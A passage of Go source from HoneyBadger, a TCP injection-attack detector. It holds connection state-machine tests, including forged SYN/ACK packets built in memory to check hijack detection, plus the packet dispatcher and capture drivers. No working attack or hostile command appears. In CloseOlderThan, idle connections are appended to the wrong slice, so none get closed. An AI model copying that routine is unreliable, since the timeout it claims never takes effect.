"github.com/google/gopacket/layers" ) func TestStateDataTransfer(t *testing.T) { options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", AttackLogger: NewDummyAttackLogger(), } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) conn.state = TCP_DATA_TRANSFER clientRingCount := 0 ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: false, SrcPort: 1, DstPort: 2, } flow := types.NewTcpIp4FlowFromLayers(ip, tcp) p := types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IPv4: &ip, TCP: &tcp, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } conn.serverFlow = flow flo := flow.Reverse() conn.clientFlow = &flo conn.clientNextSeq = 9666 conn.serverNextSeq = 3 conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Error("invalid state transition\n") t.Fail() } clientRingCount = conn.ClientStreamRing.Prev().Count() if clientRingCount != 1 { t.Errorf("clientRingCount %d not correct", clientRingCount) t.Fail() } // next set of tests tcp = layers.TCP{ Seq: 10, SYN: false, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IPv4: &ip, TCP: &tcp, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Error("invalid state transition\n") t.Fail() } clientRingCount = conn.ClientStreamRing.Prev().Count() if clientRingCount != 2 { t.Errorf("clientRingCount %d not correct", clientRingCount) t.Fail() } // next test tcp = layers.TCP{ Seq: 5, SYN: false, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IPv4: &ip, TCP: &tcp, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Error("invalid state transition\n") t.Fail() } clientRingCount = conn.ClientStreamRing.Prev().Count() if clientRingCount != 2 { t.Errorf("clientRingCount %d not correct", clientRingCount) t.Fail() } } func TestTCPConnect(t *testing.T) { options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: true, ACK: false, SrcPort: 1, DstPort: 2, } ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) p := types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } tcp.SetNetworkLayerForChecksum(&ip) flowReversed := flow.Reverse() conn.clientFlow = &flow conn.serverFlow = &flowReversed conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_REQUEST { t.Error("invalid state transition\n") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 9, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flowReversed, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_ESTABLISHED { t.Errorf("invalid state transition: current state %d\n", conn.state) t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 4, SYN: false, ACK: true, Ack: 10, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Error("invalid state transition\n") t.Fail() } } func TestClientThreeWayClose(t *testing.T) { HelperTestThreeWayClose(true, t) } func TestServerThreeWayClose(t *testing.T) { HelperTestThreeWayClose(false, t) } func HelperTestThreeWayClose(isClient bool, t *testing.T) { PageCache := newPageCache() var closerState, remoteState *uint8 attackLogger := NewDummyAttackLogger() options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: PageCache, LogDir: "fake-log-dir", } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) conn.AttackLogger = attackLogger conn.state = TCP_DATA_TRANSFER conn.serverNextSeq = 4666 conn.clientNextSeq = 9666 if isClient { closerState = &conn.clientState remoteState = &conn.serverState } else { closerState = &conn.serverState remoteState = &conn.clientState } ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 9666, Ack: 4111, FIN: true, SYN: false, ACK: true, SrcPort: 1, DstPort: 2, } flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) p := types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.clientFlow = &flow ff := flow.Reverse() conn.serverFlow = &ff conn.ReceivePacket(&p) log.Print("meow1") if conn.state != TCP_CONNECTION_CLOSING { t.Error("connection state must transition to TCP_CONNECTION_CLOSING\n") t.Fail() } if *closerState != TCP_FIN_WAIT1 { t.Error("closer state must be in TCP_FINE_WAIT1\n") t.Fail() } if *remoteState != TCP_CLOSE_WAIT { t.Error("remote state must be in TCP_CLOSE_WAIT\n") t.Fail() } // next state transition ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 4111, SYN: false, FIN: true, ACK: true, Ack: 9667, SrcPort: 2, DstPort: 1, } flow2 := flow.Reverse() p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flow2, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) log.Print("meow2") if conn.state != TCP_CONNECTION_CLOSING { t.Error("connection state must transition to TCP_CONNECTION_CLOSING\n") t.Fail() } // next state transition ip = layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 9667, SYN: false, FIN: false, ACK: true, Ack: 4112, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) log.Print("freeing page cache") } func TestTCPHijack(t *testing.T) { attackLogger := NewDummyAttackLogger() options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", DetectHijack: true, } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) conn.AttackLogger = attackLogger ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: true, ACK: false, SrcPort: 1, DstPort: 2, } ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) p := types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } tcp.SetNetworkLayerForChecksum(&ip) flowReversed := flow.Reverse() conn.clientFlow = &flow conn.serverFlow = &flowReversed conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_REQUEST { t.Error("invalid state transition\n") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 9, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flowReversed, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_ESTABLISHED { t.Errorf("invalid state transition: current state %d\n", conn.state) t.Fail() } // test hijack in TCP_CONNECTION_ESTABLISHED state ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 6699, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flowReversed, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if attackLogger.Count != 1 { t.Error("hijack detection fail") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 4, SYN: false, ACK: true, Ack: 10, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Errorf("invalid state transition; state is %d\n", conn.state) t.Fail() } // test hijack in TCP_DATA_TRANSFER state ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 7711, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: &flowReversed, IPv4: &ip, TCP: &tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if attackLogger.Count != 2 { t.Error("hijack detection fail") t.Fail() } } ================================================ FILE: dispatcher.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package HoneyBadger import ( "log" "time" "github.com/google/gopacket/layers" "github.com/david415/HoneyBadger/types" ) type TimedRawPacket struct { Timestamp time.Time RawPacket []byte } // InquisitorOptions are user set parameters for specifying the // details of how to proceed with honey_bager's TCP connection monitoring. // More parameters should soon be added here! type DispatcherOptions struct { BufferedPerConnection int BufferedTotal int LogDir string LogPackets bool MaxPcapLogRotations int MaxPcapLogSize int TcpIdleTimeout time.Duration MaxRingPackets int Logger types.Logger DetectHijack bool DetectInjection bool DetectCoalesceInjection bool MaxConcurrentConnections int } // Inquisitor sets up the connection pool and is an abstraction layer for dealing // with incoming packets weather they be from a pcap file or directly off the wire. type Dispatcher struct { options DispatcherOptions connectionFactory ConnectionFactory observeConnectionCount int observeConnectionChan chan bool dispatchPacketChan chan *types.PacketManifest stopDispatchChan chan bool closeConnectionChan chan ConnectionInterface pageCache *pageCache PacketLoggerFactory types.PacketLoggerFactory poolTcpIpv4 map[types.HashedTcpIpv4Flow]ConnectionInterface poolTcpIpv6 map[types.HashedTcpIpv6Flow]ConnectionInterface } // NewInquisitor creates a new Inquisitor struct func NewDispatcher(options DispatcherOptions, connectionFactory ConnectionFactory, packetLoggerFactory types.PacketLoggerFactory) *Dispatcher { i := Dispatcher{ PacketLoggerFactory: packetLoggerFactory, connectionFactory: connectionFactory, options: options, dispatchPacketChan: make(chan *types.PacketManifest), stopDispatchChan: make(chan bool), closeConnectionChan: make(chan ConnectionInterface), pageCache: newPageCache(), observeConnectionChan: make(chan bool, 0), poolTcpIpv4: make(map[types.HashedTcpIpv4Flow]ConnectionInterface), poolTcpIpv6: make(map[types.HashedTcpIpv6Flow]ConnectionInterface), } return &i } func (i *Dispatcher) GetObservedConnectionsChan(count int) chan bool { i.observeConnectionCount = count return i.observeConnectionChan } // Start... starts the TCP attack inquisition! func (i *Dispatcher) Start() { go i.dispatchPackets() } // Stop... stops the TCP attack inquisition! func (i *Dispatcher) Stop() { i.stopDispatchChan <- true closedConns := i.CloseAllConnections() log.Printf("%d connection(s) closed.", closedConns) } // connectionsLocked returns a slice of Connection pointers. func (i *Dispatcher) Connections() []ConnectionInterface { return i.connections() } func (i *Dispatcher) connections() []ConnectionInterface { conns := make([]ConnectionInterface, 0, len(i.poolTcpIpv4) + len(i.poolTcpIpv6)) for _, conn := range i.poolTcpIpv4 { conns = append(conns, conn) } for _, conn := range i.poolTcpIpv6 { conns = append(conns, conn) } return conns } func (i *Dispatcher) ReceivePacket(p *types.PacketManifest) { i.dispatchPacketChan <- p } // CloseOlderThan takes a Time argument and closes all the connections // that have not received packet since that specified time func (i *Dispatcher) CloseOlderThan(t time.Time) int { conns := i.connections() if conns == nil { return 0 } closeList := make([]ConnectionInterface,0) for _, conn := range conns { lastSeen := conn.GetLastSeen() if lastSeen.Equal(t) || lastSeen.Before(t) { conns = append(conns, conn) } } return i.closeConnectionList(closeList) } // CloseAllConnections closes all connections in the pool. func (i *Dispatcher) CloseAllConnections() int { conns := i.connections() if conns == nil { return 0 } return i.closeConnectionList(conns) } func (i *Dispatcher) closeConnectionList(conns []ConnectionInterface) int { count := 0 for _, conn := range conns { tcpip_flow := conn.GetClientFlow() netFlow, _ := tcpip_flow.Flows() eType := netFlow.EndpointType() if eType == layers.EndpointIPv4 { delete(i.poolTcpIpv4, types.NewHashedTcpIpv4Flow(tcpip_flow)) count += 1 } else if eType == layers.EndpointIPv6 { delete(i.poolTcpIpv6, types.NewHashedTcpIpv6Flow(tcpip_flow)) count += 1 } else { panic("wtf") } conn.Close() } return count } func (i *Dispatcher) setupNewConnection(flow *types.TcpIpFlow) ConnectionInterface { options := ConnectionOptions{ MaxBufferedPagesTotal: i.options.BufferedTotal, MaxBufferedPagesPerConnection: i.options.BufferedPerConnection, MaxRingPackets: i.options.MaxRingPackets, PageCache: i.pageCache, LogDir: i.options.LogDir, AttackLogger: i.options.Logger, LogPackets: i.options.LogPackets, DetectHijack: i.options.DetectHijack, DetectInjection: i.options.DetectInjection, DetectCoalesceInjection: i.options.DetectCoalesceInjection, } conn := i.connectionFactory.Build(options) if i.options.LogPackets { packetLogger := i.PacketLoggerFactory.Build(flow) conn.SetPacketLogger(packetLogger) packetLogger.Start() } ipFlow, _ := flow.Flows() eType := ipFlow.EndpointType() if eType == layers.EndpointIPv4 { i.poolTcpIpv4[types.NewHashedTcpIpv4Flow(flow)] = conn } else if eType == layers.EndpointIPv6 { i.poolTcpIpv6[types.NewHashedTcpIpv6Flow(flow)] = conn } else { panic("wtf") } if i.observeConnectionCount != 0 && i.observeConnectionCount == len(i.connections()) { i.observeConnectionChan <- true } return conn } func (i *Dispatcher) dispatchPackets() { var conn ConnectionInterface timeout := i.options.TcpIdleTimeout ticker := time.Tick(timeout) for { select { case <-ticker: closed := i.CloseOlderThan(time.Now().Add(timeout * -1)) if closed != 0 { log.Printf("timeout closed %d connections\n", closed) } case <-i.stopDispatchChan: return case packetManifest := <-i.dispatchPacketChan: ipFlow, _ := packetManifest.Flow.Flows() eType := ipFlow.EndpointType() if eType == layers.EndpointIPv4 { _, ok := i.poolTcpIpv4[types.NewHashedTcpIpv4Flow(packetManifest.Flow)] if ok { conn = i.poolTcpIpv4[types.NewHashedTcpIpv4Flow(packetManifest.Flow)] } else { if i.options.MaxConcurrentConnections != 0 { if len(i.poolTcpIpv4) >= i.options.MaxConcurrentConnections { continue } } conn = i.setupNewConnection(packetManifest.Flow) } } else if eType == layers.EndpointIPv6 { connectionHash := types.NewHashedTcpIpv6Flow(packetManifest.Flow) _, ok := i.poolTcpIpv6[connectionHash] if ok { conn = i.poolTcpIpv6[connectionHash] } else { if i.options.MaxConcurrentConnections != 0 { if len(i.poolTcpIpv6) >= i.options.MaxConcurrentConnections { continue } } conn = i.setupNewConnection(packetManifest.Flow) } } else { panic("wtf") } conn.ReceivePacket(packetManifest) } } } ================================================ FILE: dispatcher_test.go ================================================ package HoneyBadger import ( "io" "log" "net" "os" "testing" "time" "github.com/david415/HoneyBadger/logging" "github.com/david415/HoneyBadger/types" "github.com/google/gopacket/layers" ) type MockSniffer struct { supervisor types.Supervisor startedChan chan bool } func NewMockSniffer(options *types.SnifferDriverOptions, dispatcher PacketDispatcher) types.PacketSource { var packetSource types.PacketSource = &MockSniffer{ startedChan: make(chan bool, 0), } return packetSource } func (s *MockSniffer) Start() { log.Print("MockSniffer Start()") s.startedChan <- true } func (s *MockSniffer) Stop() { log.Print("MockSniffer Stop()") } func (s *MockSniffer) SetSupervisor(supervisor types.Supervisor) { s.supervisor = supervisor } func (s *MockSniffer) GetStartedChan() chan bool { return s.startedChan } type MockConnection struct { options ConnectionOptions clientFlow types.TcpIpFlow serverFlow types.TcpIpFlow lastSeen time.Time ClientStreamRing *types.Ring packetObserverChan chan bool receiveChan chan *types.PacketManifest } func (m MockConnection) GetClientFlow() *types.TcpIpFlow { return &m.clientFlow } func (m MockConnection) Close() { log.Print("MockConnection.Close()") close(m.receiveChan) } func (m MockConnection) ReceivePacket(p *types.PacketManifest) { m.packetObserverChan <- true } func (m MockConnection) GetLastSeen() time.Time { return m.lastSeen } func (m MockConnection) SetPacketLogger(l types.PacketLogger) { log.Print("MockConnection.SetPacketLogger") } type mockConnFactory struct { } func (m *mockConnFactory) Build(options ConnectionOptions) ConnectionInterface { c := &MockConnection{ options: options, packetObserverChan: make(chan bool, 0), } return c } type MockPacketLoggerFactory struct { pcapNum int pcapSize int } func (f MockPacketLoggerFactory) Build(flow *types.TcpIpFlow) types.PacketLogger { return NewMockPacketLogger("str", flow, 10, 50) } type MockPacketLogger struct { packetObserverChan chan bool } func NewMockPacketLogger(str string, flow *types.TcpIpFlow, pcapNum int, pcapSize int) types.PacketLogger { m := MockPacketLogger{ packetObserverChan: make(chan bool, 0), } return types.PacketLogger(&m) } func (m *MockPacketLogger) WritePacket(rawPacket []byte, timestamp time.Time) { log.Print("MockPacketLogger.WritePacket") m.packetObserverChan <- true } func (m *MockPacketLogger) SetFileWriter(writer io.WriteCloser) { } func (m *MockPacketLogger) Start() { log.Print("MockPacketLogger.Start") } func (m *MockPacketLogger) Stop() { log.Print("MockPacketLogger.Stop") } func (m *MockPacketLogger) Archive() { } func (m *MockPacketLogger) Remove() { } func SetupTestInquisitor() (*Supervisor, PacketDispatcher, types.PacketSource) { tcpIdleTimeout, _ := time.ParseDuration("10m") dispatcherOptions := DispatcherOptions{ BufferedPerConnection: 10, BufferedTotal: 100, LogDir: ".", LogPackets: true, TcpIdleTimeout: tcpIdleTimeout, MaxRingPackets: 40, Logger: logging.NewAttackMetadataJsonLogger("archives"), DetectHijack: true, DetectInjection: true, DetectCoalesceInjection: true, MaxConcurrentConnections: 100, } wireDuration, _ := time.ParseDuration("3s") snifferOptions := types.SnifferDriverOptions{ Device: "myInterface", Filename: "", WireDuration: wireDuration, Snaplen: 65536, Filter: "tcp", } factory := mockConnFactory{} mockPacketLoggerFactory := MockPacketLoggerFactory{} options := SupervisorOptions{ SnifferDriverOptions: &snifferOptions, DispatcherOptions: dispatcherOptions, SnifferFactory: NewMockSniffer, ConnectionFactory: &factory, PacketLoggerFactory: mockPacketLoggerFactory, } supervisor := NewSupervisor(options) go supervisor.Run() sniffer := supervisor.GetSniffer() startedChan := sniffer.GetStartedChan() dispatcher := supervisor.GetDispatcher() <-startedChan return supervisor, dispatcher, sniffer } func TestInquisitorForceQuit(t *testing.T) { supervisor, _, _ := SetupTestInquisitor() var sig os.Signal supervisor.forceQuitChan <- sig } func TestInquisitorSourceStopped(t *testing.T) { supervisor, _, sniffer := SetupTestInquisitor() sniffer.Stop() supervisor.Stopped() } func TestInquisitorSourceReceiveOne(t *testing.T) { _, dispatcher, sniffer := SetupTestInquisitor() ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: false, SrcPort: 1, DstPort: 2, } flow := types.NewTcpIp4FlowFromLayers(ip, tcp) p := types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IPv4: &ip, TCP: &tcp, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } connsChan := dispatcher.GetObservedConnectionsChan(1) log.Print("before receive packet") dispatcher.ReceivePacket(&p) log.Print("after receive packet") <-connsChan log.Print("after connsChan receive") conns := dispatcher.Connections() log.Print("fu3") if len(conns) != 1 { t.Fatalf("number of connections %d is not 1", len(conns)) } conn := conns[0] mockConn := conn.(*MockConnection) log.Print("listen to packet observer chan") <-mockConn.packetObserverChan sniffer.Stop() } func TestInquisitorResetTwice(t *testing.T) { _, dispatcher, sniffer := SetupTestInquisitor() startSeq := 3 ip1 := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp1 := layers.TCP{ Seq: uint32(startSeq), SYN: false, RST: true, SrcPort: 1, DstPort: 2, } flow1 := types.NewTcpIp4FlowFromLayers(ip1, tcp1) packet1 := types.PacketManifest{ Timestamp: time.Now(), Flow: flow1, IPv4: &ip1, TCP: &tcp1, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } ip2 := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp2 := layers.TCP{ Seq: uint32(startSeq + len(packet1.Payload)), SYN: false, RST: true, SrcPort: 1, DstPort: 2, } flow2 := types.NewTcpIp4FlowFromLayers(ip2, tcp2) packet2 := types.PacketManifest{ Timestamp: time.Now(), Flow: flow2, IPv4: &ip2, TCP: &tcp2, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } connsChan := dispatcher.GetObservedConnectionsChan(1) dispatcher.ReceivePacket(&packet1) <-connsChan conns := dispatcher.Connections() if len(conns) != 1 { t.Fatalf("number of connections %d is not 1", len(conns)) } conn := conns[0] mockConn := conn.(*MockConnection) <-mockConn.packetObserverChan conns = dispatcher.Connections() if len(conns) != 1 { t.Fatalf("number of connections %d is not 1", len(conns)) } conn = conns[0] mockConn = conn.(*MockConnection) dispatcher.ReceivePacket(&packet2) <-mockConn.packetObserverChan sniffer.Stop() } func SetupRealConnectionInquisitor() (*Supervisor, PacketDispatcher, types.PacketSource) { tcpIdleTimeout, _ := time.ParseDuration("10m") dispatcherOptions := DispatcherOptions{ BufferedPerConnection: 10, BufferedTotal: 100, LogDir: ".", LogPackets: true, TcpIdleTimeout: tcpIdleTimeout, MaxRingPackets: 40, Logger: logging.NewAttackMetadataJsonLogger("archives"), DetectHijack: true, DetectInjection: true, DetectCoalesceInjection: true, MaxConcurrentConnections: 100, } wireDuration, _ := time.ParseDuration("3s") snifferOptions := types.SnifferDriverOptions{ Device: "myInterface", Filename: "", WireDuration: wireDuration, Snaplen: 65536, Filter: "tcp", } factory := &DefaultConnFactory{} mockPacketLoggerFactory := MockPacketLoggerFactory{} options := SupervisorOptions{ SnifferDriverOptions: &snifferOptions, DispatcherOptions: dispatcherOptions, SnifferFactory: NewMockSniffer, ConnectionFactory: factory, PacketLoggerFactory: mockPacketLoggerFactory, } supervisor := NewSupervisor(options) go supervisor.Run() sniffer := supervisor.GetSniffer() startedChan := sniffer.GetStartedChan() dispatcher := supervisor.GetDispatcher() <-startedChan return supervisor, dispatcher, sniffer } ================================================ FILE: drivers/afpacket.go ================================================ // +build linux /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package drivers import ( "github.com/google/gopacket" "github.com/google/gopacket/afpacket" "github.com/david415/HoneyBadger/types" ) func init() { SnifferRegister("AF_PACKET", NewAfpacketHandle) } type AfpacketHandle struct { afpacketHandle *afpacket.TPacket } func NewAfpacketHandle(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) { afpacketHandle, err := afpacket.NewTPacket(afpacket.OptInterface(options.Device)) return &AfpacketHandle{ afpacketHandle: afpacketHandle, }, err } func (a *AfpacketHandle) ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) { return a.afpacketHandle.ReadPacketData() } func (a *AfpacketHandle) Close() error { a.afpacketHandle.Close() return nil } ================================================ FILE: drivers/bpf.go ================================================ // +build darwin dragonfly freebsd netbsd openbsd /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package drivers import ( "github.com/google/gopacket" "github.com/google/gopacket/bsdbpf" "github.com/david415/HoneyBadger/types" ) func init() { SnifferRegister("BSD_BPF", NewBPFHandle) } type BPFHandle struct { bpfSniffer *bsdbpf.BPFSniffer } func NewBPFHandle(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) { // XXX TODO pass more options... bpfSniffer, err := bsdbpf.NewBPFSniffer(options.Device, nil) return &BPFHandle{ bpfSniffer: bpfSniffer, }, err } func (a *BPFHandle) ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) { return a.bpfSniffer.ReadPacketData() } func (a *BPFHandle) Close() error { return a.bpfSniffer.Close() } ================================================ FILE: drivers/libpcap.go ================================================ // +build linux freebsd solaris /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package drivers import ( "github.com/google/gopacket" "github.com/google/gopacket/pcap" "time" "github.com/david415/HoneyBadger/types" ) func init() { SnifferRegister("libpcap", NewPcapSniffer) } type PcapHandle struct { handle *pcap.Handle } func NewPcapSniffer(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) { if options.Filename != "" { pcapFileHandle, err := pcap.OpenOffline(options.Filename) pcapHandle := PcapHandle{ handle: pcapFileHandle, } return &pcapHandle, err } else { pcapWireHandle, err := pcap.OpenLive(options.Device, options.Snaplen, true, options.WireDuration) pcapHandle := PcapHandle{ handle: pcapWireHandle, } err = pcapHandle.handle.SetBPFFilter(options.Filter) return &pcapHandle, err } } func NewPcapFileSniffer(filename string) (*PcapHandle, error) { pcapFileHandle, err := pcap.OpenOffline(filename) pcapHandle := PcapHandle{ handle: pcapFileHandle, } return &pcapHandle, err } func NewPcapWireSniffer(netDevice string, snaplen int32, wireDuration time.Duration, filter string) (*PcapHandle, error) { pcapWireHandle, err := pcap.OpenLive(netDevice, snaplen, true, wireDuration) pcapHandle := PcapHandle{ handle: pcapWireHandle, } err = pcapHandle.handle.SetBPFFilter(filter) return &pcapHandle, err } func (p *PcapHandle) ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) { return p.handle.ReadPacketData() } func (p *PcapHandle) Close() error { p.handle.Close() return nil } ================================================ FILE: drivers/pcapgo.go ================================================ 